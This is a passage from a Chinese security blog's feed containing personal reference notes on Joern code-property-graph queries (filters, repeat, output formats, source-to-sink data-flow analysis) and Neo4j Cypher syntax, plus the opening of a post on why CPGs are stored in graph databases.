class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.annotation.name(<span class="string">".*Mapping"</span>).method.take(<span class="number">1</span>).l</span><br><span class="line">val res21: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(</span><br><span class="line">  Method(</span><br><span class="line">    id = <span class="number">2498L</span>,</span><br><span class="line">    astParentFullName = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    astParentType = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    code = <span class="string">"public void crlf(HttpServletRequest request, HttpServletResponse response)"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    columnNumberEnd = Some(value = <span class="number">5</span>),</span><br><span class="line">    filename = <span class="string">"src\\main\\java\\org\\joychou\\controller\\CRLFInjection.java"</span>,</span><br><span class="line">    fullName = <span class="string">"org.joychou.controller.CRLFInjection.crlf:&lt;unresolvedSignature&gt;(2)"</span>,</span><br><span class="line">    hash = <span class="literal">None</span>,</span><br><span class="line">    isExternal = false,</span><br><span class="line">    lineNumber = Some(value = <span class="number">20</span>),</span><br><span class="line">    lineNumberEnd = Some(value = <span class="number">28</span>),</span><br><span class="line">    name = <span class="string">"crlf"</span>,</span><br><span class="line">    order = <span class="number">1</span>,</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(2)"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>除了常规的<strong>method，annotation，call</strong>这种以外，比较常见的节点类型还有</p><p><a href="https://docs.joern.io/cpgql/node-type-steps/" target="_blank" rel="noopener">https://docs.joern.io/cpgql/node-type-steps/</a></p><ul><li><strong>cpg.configFile：配置文件</strong></li><li><strong>cpg.identifier：标识符</strong></li><li><strong>cpg.imports：引用</strong></li><li><strong>cpg.methodReturn：方法的返回节点</strong></li><li><strong>cpg.parameter：参数</strong></li></ul><p>当然除了上面的这些节点以外，还有一些调用关系的通用节点</p><ul><li><strong>cpg.method.name(“getRequestBody”).caller</strong></li></ul><p>返回节点列表对应节点的被调用节点，也就是父节点</p><ul><li><strong>cpg.method.name(“getRequestBody”).callee</strong></li></ul><p>返回节点列表对应节点的调用节点，也就是子节点</p><ul><li><strong>cpg.method.name(“getRequestBody”).callIn</strong></li></ul><p>返回节点列表对应父节点的所有节点</p><h2 id="过滤器"><a href="#过滤器" class="headerlink" title="过滤器"></a>过滤器</h2><p>凡是节点连接的都是作为结果传到下一级的，如果是想筛选符合条件的节点则需要<strong>用where或者属性过滤器</strong>，比如说</p><ul><li><strong>cpg.method.name(“getRequestBody”).l</strong></li></ul><p>查询名字为getRequestBody，这个name就是属性过滤器，向下一级返回的是符合属性过滤器的method节点</p><ul><li><strong>cpg.method.where(_.name(“getRequestBody”)).l</strong></li></ul><p>或者用where也行，where语句内容会作为筛选条件影响返回的method内容</p><ul><li><strong>cpg.method.name.l</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name.l</span><br><span class="line">val res36: List[String] = List(</span><br><span class="line">  <span class="string">"configure"</span>,</span><br><span class="line">  <span class="string">"main"</span>,</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>如果不是使用()作为属性过滤器，那么返回内容就会直接变成name属性列表。</p><p>当然除了where以外，也支持很多种过滤器</p><ul><li><p><strong>where，whereNot：筛选返回为空或者非空的节点</strong></p></li><li><ul><li>cpg.method.where(_.isExternal(false)).name.l</li></ul></li><li><p><strong>filter，filterNot：筛选返回为True或者False的节点</strong></p></li><li><ul><li>cpg.method.filter(_.isExternal == false).name.l</li></ul></li><li><p><strong>and，or：多个过滤器之间的关系</strong></p></li></ul><h2 id="返回结果处理"><a href="#返回结果处理" class="headerlink" title="返回结果处理"></a>返回结果处理</h2><p>在处理结果返回的时候也有一些方式改变返回的内容。一般来说查询结果会是<strong>一个字典列表</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name(<span class="string">"getRequestBody"</span>).l</span><br><span class="line">val res64: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(</span><br><span class="line">  Method(</span><br><span class="line">    id = <span class="number">15337L</span>,</span><br><span class="line">    astParentFullName = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    astParentType = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    code = <span class="string">"public static String getRequestBody(HttpServletRequest request) throws IOException"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    columnNumberEnd = Some(value = <span class="number">5</span>),</span><br><span class="line">    filename = <span class="string">"src\\main\\java\\org\\joychou\\util\\WebUtils.java"</span>,</span><br><span class="line">    fullName = <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    hash = <span class="literal">None</span>,</span><br><span class="line">    isExternal = false,</span><br><span class="line">    lineNumber = Some(value = <span class="number">13</span>),</span><br><span class="line">    lineNumberEnd = Some(value = <span class="number">16</span>),</span><br><span class="line">    name = <span class="string">"getRequestBody"</span>,</span><br><span class="line">    order = <span class="number">1</span>,</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(1)"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>可以用<strong>map来改变返回的结构</strong>，这是一个类似于lambda的语法，会<strong>遍历列表的所有节点然后生成结果.</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name("getRequestBody").map(n=&gt;List(n.filename, n.lineNumber, n.fullName, n.code)).l</span><br><span class="line">val res66: List[List[String | Option[Integer]]] = List(</span><br><span class="line">  List(</span><br><span class="line">    <span class="string">"src\\main\\java\\org\\joychou\\util\\WebUtils.java"</span>,</span><br><span class="line">    Some(value = <span class="number">13</span>),</span><br><span class="line">    <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    <span class="string">"public static String getRequestBody(HttpServletRequest request) throws IOException"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>除了map以外，另外还有两个实用的</p><ul><li><strong>.clone，创建一个深复制，是在写比较复杂的脚本时候用到的</strong></li><li><strong>.dedup，列表内容去重</strong></li><li><strong>.sideEffect，按照格式要求执行但不改变原列表</strong></li></ul><h2 id="重复获取"><a href="#重复获取" class="headerlink" title="重复获取"></a>重复获取</h2><p>既然需要寻找两个节点之间的路径，那么就少不了重复，<strong>重复获取父级节点</strong>就是最简单的一种数据流分析。</p><ul><li><strong>x.repeat(_.caller)(_.times(5))</strong></li></ul><p>重复获取caller共5次，如果找不到结果就会停止</p><ul><li><strong>x.repeat(_.caller)(_.until(_.name(“foo”)))</strong></li></ul><p>重复调用 caller 查询，直到找到一个方法名为 foo 的方法，找不到就返回空。</p><ul><li><strong>x.repeat(_.caller)(_.emit(_.isMethod).times(5))</strong></li></ul><p>emit的意思是会将查询的过程节点作为返回的列表中的一员。</p><p>上面这句语句就是指，重复5次获取当前节点的caller的节点属性，除此之外还会带上路径上所有满足isMethod的节点。</p><h2 id="格式化"><a href="#格式化" class="headerlink" title="格式化"></a>格式化</h2><p>Joern对于返回结果提供了公式化的输出格式，而且如果不指定输出直接就没有返回</p><ul><li><strong>toList，L，输出列表</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610656.png" alt="img"></p><ul><li><strong>toJson，toJsonPretty，输出json或者格式化的json</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610940.png" alt="img"></p><ul><li><strong>p，browse，输出可读性非常强的结果，如果是流会输出表格</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610604.png" alt="img"></p><ul><li><strong>size，输出节点数量</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610617.png" alt="img"></p><ul><li><strong>dump，dumpRaw，输出节点代码，只有节点才有这个属性</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610265.png" alt="img"></p><h2 id="数据流分析"><a href="#数据流分析" class="headerlink" title="数据流分析"></a>数据流分析</h2><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line">def sink = cpg.call.name("exec")</span><br></pre></td></tr></table></figure><ul><li><strong>reachableBy，</strong>是最简单的数据流分析函数，他返回的是从前面开始到后面，这个<strong>后面节点的位置</strong>。比如这里从sink开始查找，展示的就是source的位置</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610904.png" alt="img"></p><ul><li><strong>reachableByFlows，展示两个节点之间的流，包括流上的每个节点</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610443.png" alt="img"></p><h1 id="Neo4j"><a href="#Neo4j" class="headerlink" title="Neo4j"></a>Neo4j</h1><p>Neo4j的语法在我看来要比Joern的语法别扭多了，但有些问题其实在Neo4j会更容易得到答案，<strong>可视化的图结构</strong>在某些情况下会有非常明显的优势。</p><h2 id="创建实体和关系"><a href="#创建实体和关系" class="headerlink" title="创建实体和关系"></a>创建实体和关系</h2><ul><li>最简单的<strong>创建实体和关系</strong>（不带属性）</li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create (n:Person)-[:LOVES]-&gt;(m:Dog)</span><br></pre></td></tr></table></figure><ul><li><strong>创建2个或多个属性的实体</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create (z:ziduan&#123;name:<span class="string">"f_name"</span>,table:<span class="string">"dianlibiao"</span>&#125;) <span class="keyword">return</span> count(*)</span><br></pre></td></tr></table></figure><ul><li><strong>创建带属性的实体和关系</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create (n:Person&#123;name:"李四"&#125;)-[:FEAR&#123;level:1&#125;]-&gt;(t:Tiger&#123;type:"东北虎"&#125;)</span><br></pre></td></tr></table></figure><ul><li><strong>对实体间创建关系</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:""王五""&#125;), (m:Person&#123;name:"赵六"&#125;) create (n)-[k:KNOW]-&gt;(m) return k</span><br></pre></td></tr></table></figure><h2 id="delete-删除实体或关系"><a href="#delete-删除实体或关系" class="headerlink" title="delete 删除实体或关系"></a>delete 删除实体或关系</h2><ul><li>先<strong>用match查找已有实体、关系</strong>， 再用<strong>delete删除关系</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:"李四"&#125;)-[f:FEAR]-&gt;(t:Tiger) delete f</span><br></pre></td></tr></table></figure><ul><li><strong>删除所有节点中的边关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(m)-[b:bian]-(n) delete b</span><br></pre></td></tr></table></figure><ul><li><strong>match查询实体，delete删除实体</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:<span class="string">"李四"</span>&#125;) delete n</span><br></pre></td></tr></table></figure><ul><li><strong>同时删除实体和关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) detach delete n</span><br></pre></td></tr></table></figure><ul><li><strong>删除所有节点</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n) delete n</span><br></pre></td></tr></table></figure><ul><li><strong>删除所有节点并级联删除关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n) detach delete n</span><br></pre></td></tr></table></figure><ul><li><strong>删除Loc标签的所有节点和关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (r:Loc) DETACH DELETE r</span><br></pre></td></tr></table></figure><h2 id="match查询节点和关系"><a href="#match查询节点和关系" class="headerlink" title="match查询节点和关系"></a>match查询节点和关系</h2><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">match </span><br><span class="line">(node)-[relationship]-&gt;(node)</span><br><span class="line">where</span><br><span class="line">(node | relationship)</span><br><span class="line"><span class="keyword">return</span> </span><br><span class="line">(node | relationship)</span><br><span class="line">match (n：Persion)-[:HAS_PHONE]-&gt;(p:Phone) where n.name="姓名6" return n, p  limit 10</span><br></pre></td></tr></table></figure><ul><li><strong>n，代表Persion的别名</strong></li><li><strong>:HAS_PHONE，代表前面Persion的关系</strong></li><li><strong>()，括号里的都是实体</strong></li><li><strong>[]，中括号里的都是关系</strong></li><li><strong>-，代表无方向的关系</strong></li><li><strong>-&gt;，代表有方向的关系</strong></li></ul><ul><li><strong>查询所有实体节点</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) <span class="keyword">return</span> n</span><br></pre></td></tr></table></figure><ul><li><strong>根据id查找实体</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">match (t:Tiger) where id(t)=<span class="number">1837</span> <span class="keyword">return</span> t</span><br><span class="line">match (t:Tiger) where id(t)=<span class="number">1837</span> delete t</span><br></pre></td></tr></table></figure><ul><li><strong>多度关系查询</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n：Persion)-[:HAS_PHONE]-&gt;(p:Phone)-[:CALL]-&gt;(p1: Persion) where n.name=“姓名6” return n, p,p1  limit 10</span><br></pre></td></tr></table></figure><ul><li><strong>利用关系查询， 不限定实体只限定关系的查询</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match p=()-[c: CALL]-&gt;() return p limit 10</span><br></pre></td></tr></table></figure><ul><li><strong>根据实体属性匹配正则查询</strong>， 使用通配符，<strong>通配符前要加~</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:USERS) where n.name=~<span class="string">'Jack.*'</span> <span class="keyword">return</span> n limit <span class="number">10</span></span><br></pre></td></tr></table></figure><ul><li><strong>包含查询 使用关键词contains</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:USERS) where n.name= contains <span class="string">'J'</span>  <span class="keyword">return</span> n limit <span class="number">10</span></span><br></pre></td></tr></table></figure><ul><li><strong>附带属性多实体查询</strong>， 逗号隔开</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:<span class="string">"王五"</span>&#125;), (m:Person&#123;name:<span class="string">"赵六"</span>&#125;) <span class="keyword">return</span> n,m</span><br></pre></td></tr></table></figure><ul><li><strong>查询多种label节点，并进行过滤</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) where n:标签<span class="number">1</span> <span class="keyword">or</span> n:标签B  <span class="keyword">return</span> distinct n;</span><br></pre></td></tr></table></figure><ul><li><strong>distinct * 关键字表示返回节点不重复</strong></li><li>返回非某几类标签，注意使用 not and 关键字</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) where <span class="keyword">not</span> n:标签<span class="number">1</span> <span class="keyword">and</span> <span class="keyword">not</span> n:标签B  <span class="keyword">return</span> distinct n;</span><br></pre></td></tr></table></figure><h2 id="set-修改实体标签或属性"><a href="#set-修改实体标签或属性" class="headerlink" title="set 修改实体标签或属性"></a>set 修改实体标签或属性</h2><ul><li><strong>实体增加标签</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (t:Tiger) where id(t)=<span class="number">1837</span> set t:A  <span class="keyword">return</span> t</span><br></pre></td></tr></table></figure><p>本质上是给实体增加一个标签，一个实体可以有多个标签</p><ul><li><strong>给实体增加属性</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (a:A) where id(t)=<span class="number">1837</span> set a.年龄=<span class="number">10</span>  <span class="keyword">return</span> a</span><br></pre></td></tr></table></figure><ul><li><strong>给关系增加属性</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person)-[l:LOVE]-&gt;(:Person) set l.date="1990" return n, l</span><br></pre></td></tr></table></figure><ul><li><strong>给所有节点增加标签</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) set n:table <span class="keyword">return</span> n</span><br></pre></td></tr></table></figure><h2 id="搜索路径"><a href="#搜索路径" class="headerlink" title="搜索路径"></a>搜索路径</h2><ul><li><strong>单条最短路径</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (p1:Person&#123;name:<span class="string">"姓名2"</span>&#125;),(p2:Person&#123;name:<span class="string">"姓名10"</span>&#125;), p=shortestpath((p1)-[*.<span class="number">.10</span>]-(p2)) <span class="keyword">return</span> p</span><br></pre></td></tr></table></figure><p>shortestpath()用于查询最短路径 [<em>..10] 表示关系中*</em>不超过10度关系**</p><ul><li><strong>多条最短路径</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (p1:Person&#123;name:<span class="string">"姓名2"</span>&#125;),(p2:Person&#123;name:<span class="string">"姓名10"</span>&#125;), p=allshortestpaths((p1)-[*.<span class="number">.10</span>]-(p2)) <span class="keyword">return</span> p</span><br></pre></td></tr></table></figure><h2 id="关系查询"><a href="#关系查询" class="headerlink" title="关系查询"></a>关系查询</h2><ul><li><strong>merge 有关系则返回，没有则创建关系</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:&quot;王五&quot;&#125;), (m:Person&#123;name:&quot;赵六&quot;&#125;) merge (n)-[l:LOVE]-&gt;(m) return l</span><br><span class="line"></span><br><span class="line">match (n),(m) where n&#x3D;m merge (n)-[t:TABLE&#123;table_name:n.table&#125;]-(m) return t</span><br></pre></td></tr></table></figure><ul><li><strong>optional match 可选择匹配，若匹配结果包含空，则用NULL占位</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">OPTIONAL MATCH (n)-[r]-&gt;(m) RETURN m</span><br></pre></td></tr></table></figure><p>匹配结果集中如果有丢的部分，则会用null来补充</p><h2 id="XXX-with-字符串开头结尾匹配"><a href="#XXX-with-字符串开头结尾匹配" class="headerlink" title="XXX with 字符串开头结尾匹配"></a>XXX with 字符串开头结尾匹配</h2><ul><li><strong>start with 匹配字符串的开头</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n)</span><br><span class="line">WHERE n.name STARTS WITH &#39;张&#39;</span><br><span class="line">RETURN n</span><br></pre></td></tr></table></figure><ul><li><strong>end with 匹配字符串的结尾</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n)</span><br><span class="line">WHERE n.name ENDS WITH &#39;三&#39;</span><br><span class="line">RETURN n</span><br></pre></td></tr></table></figure><h2 id="边对应的节点"><a href="#边对应的节点" class="headerlink" title="边对应的节点"></a>边对应的节点</h2><ul><li><strong>startNode(rel)</strong> 得到一条关系rel对应的起始节点</li><li><strong>endNode(rel)</strong> 得到一条关系rel对应的中止节点</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;前两篇文章主要讲了Joern相关技术的设计原理，以及CPG的实际表现&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/08/21/joern-and-cpg/&quot;&gt;https://lorexxar.cn/2023/08/21/joern-and-cpg/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/08/22/joern2/&quot;&gt;https://lorexxar.cn/2023/08/22/joern2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在研究Joern和Neo4j的过程中，我遇到了一个相当大的问题，就是由于我对&lt;strong&gt;OverflowDB包括scala和cypher语言&lt;/strong&gt;都不熟。Joern和Neo4j分别支持这几种冷门语言，而相应的文档其实没有解决我的问题。&lt;/p&gt;
&lt;p&gt;所以在继续研究Joern之前，先花时间简单记录&lt;strong&gt;一些Joern和Neo4j实用的语法和范例&lt;/strong&gt;，给自己当个字典随时可以查阅。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="neo4j" scheme="https://lorexxar.cn/tags/neo4j/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（二）CPG与图数据库</title>
    <link href="https://lorexxar.cn/2023/08/22/joern2/"/>
    <id>https://lorexxar.cn/2023/08/22/joern2/</id>
    <published>2023-08-22T08:40:14.000Z</published>
    <updated>2023-08-23T06:02:04.000Z</updated>
    
    <content type="html"><![CDATA[<p>在上篇文章里，我们从Joern入手大致介绍了<strong>CPG(Code Property Graph)</strong>的设计理念和简单逻辑</p><ul><li><a href="https://lorexxar.cn/2023/08/21/joern-and-cpg/">https://lorexxar.cn/2023/08/21/joern-and-cpg/</a></li></ul><p>但实际上来说，如果想要更深入的了解Joern，<strong>CPG和图数据库</strong>是绕不开的一个话题。CPG作为一种<strong>代码属性图</strong>，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。</p><p>旧版本的Joern使用的<strong>Gremlin</strong>，但后来的开发中换成了<strong>OverflowDB</strong>，在joern中也完全支持使用<strong>OverflowDB的查询语法</strong>。</p><ul><li><a href="https://github.com/ShiftLeftSecurity/overflowdb" target="_blank" rel="noopener">https://github.com/ShiftLeftSecurity/overflowdb</a></li></ul><p>但属性图本身没有什么特异性，比较常见的比如<strong>Neo4J，OrientDB</strong>或者<strong>JanesGraph</strong>都支持CPG的表现形式。</p><p>但，在这之前，我们首先需要知道，<strong>为什么是图？</strong></p><a id="more"></a><h1 id="为什么是图？"><a href="#为什么是图？" class="headerlink" title="为什么是图？"></a>为什么是图？</h1><p>在上篇文章中，我在讲了CPG的设计思路时曾经提到过一些相关的内容。</p><p>如果说CFG(<strong>control flow graphs</strong>)相比AST来说最大的特点是<strong>带有明确数据流向的流向</strong>，在数据流分析<strong>可能</strong>更有优势。</p><p>那么CPG相比CFG来说有一个很大的特点就是<strong>信息量大</strong>，而图最大的特点也在于，就是<strong>可以容纳信息量巨大的内容</strong>。</p><p>假设我们有这样一段代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a = new A()</span><br><span class="line">b = a.b</span><br><span class="line">c.a = b.a</span><br><span class="line">d.a = c</span><br><span class="line">c.b = d.c</span><br></pre></td></tr></table></figure><p>这里简单的几行代码，其实展示了相当复杂的依赖链，abcd几个变量中有着复杂的互相指向关系，如果<strong>用文字来表示abcd之间的关系我们可能需要拆分很多部分。</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">a -&gt; A()</span><br><span class="line">b -&gt; A().b</span><br><span class="line">c.a -&gt; A().b.a</span><br><span class="line">c.b -&gt; ....</span><br></pre></td></tr></table></figure><p>我甚至很难用文字的方式表达出他们之间的关系，而<strong>图在这样的场景下就变得很有优势。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725366.png" alt="img"></p><p>当然这只是一个粗浅的例子，但已经很明显的能感觉出来图和文字之间的差距了，<strong>图关系可以很轻松的表达出文字很难表达出来的信息量。</strong></p><h1 id="Joern与图"><a href="#Joern与图" class="headerlink" title="Joern与图"></a>Joern与图</h1><p>Joern用了CPG来<strong>储存代码的所有节点关系和属性数据</strong>，由于CPG的信息量大，所以Joern甚至<strong>提供了官方的生成AST、CFG等其他结构的接口</strong>，对于C/C++甚至支持多种自定义的结构。</p><ul><li>Abstract Syntax Trees (AST)</li><li>Control Flow Graphs (CFG)</li><li>Control Dependence Graphs (CDG)</li><li>Data Dependence Graphs (DDG)</li><li>Program Dependence graphs (PDG)</li><li>Code Property Graphs (<a href="https://www.sec.cs.tu-bs.de/pubs/2014-ieeesp.pdf" target="_blank" rel="noopener">CPG14</a>)</li><li>Entire graph, i.e. convert to a different graph format (ALL)</li></ul><p>在Joern的命令行你可以直接<strong>使用相应的命令生成对应的格式</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cpg.method($name).dotAst.l // output AST <span class="keyword">in</span> dot format</span><br><span class="line">cpg.method($name).dotCfg.l // output CFG <span class="keyword">in</span> dot format</span><br><span class="line">...</span><br><span class="line">cpg.method($name).dotCpg14.l // output CPG<span class="string">'14 in dot format</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725427.png" alt="img"></p><p>有个很有意思的是，如果你的电脑装了<strong>Graphviz</strong>，Joern还可以调用Graphviz来绘图，虽然生成的图很难看。</p><ul><li><a href="https://graphviz.org/download/" target="_blank" rel="noopener">https://graphviz.org/download/</a></li></ul><p>安装Graphviz之后我们可以通过命令来绘图</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cpg.method($name).plotDotAst // plot AST</span><br><span class="line">cpg.method($name).plotDotCfg // plot CFG</span><br><span class="line">...</span><br><span class="line">cpg.method($name).plotDotCpg14 // plot CPG<span class="string">'14</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725174.png" alt="img"></p><p>说实话，不太实用，但是很方便</p><h1 id="Neo4J"><a href="#Neo4J" class="headerlink" title="Neo4J"></a>Neo4J</h1><p>相比Graphviz这种仅仅用来临时展示图的应用来说，<strong>Neo4J则是标准而且非常成熟的图数据库</strong>，不但性能强，而且还实用。</p><ul><li><a href="https://github.com/neo4j/neo4j" target="_blank" rel="noopener">https://github.com/neo4j/neo4j</a></li><li><a href="https://neo4j.com/" target="_blank" rel="noopener">https://neo4j.com/</a></li></ul><p>你可以在官网下载免费的neo4j，其中包括服务端和客户端版本，服务端版本启动后会默认跑到7474端口上。</p><p><strong>Neo4j使用的查询语言叫做Cypher，这是一种声明式的图查询语言</strong>，我个人觉得Cypher其实算是比较反人类的一种语言，具体的语法可以看对应的文档。</p><ul><li><a href="https://neo4j.com/docs/cypher-manual/current/clauses/" target="_blank" 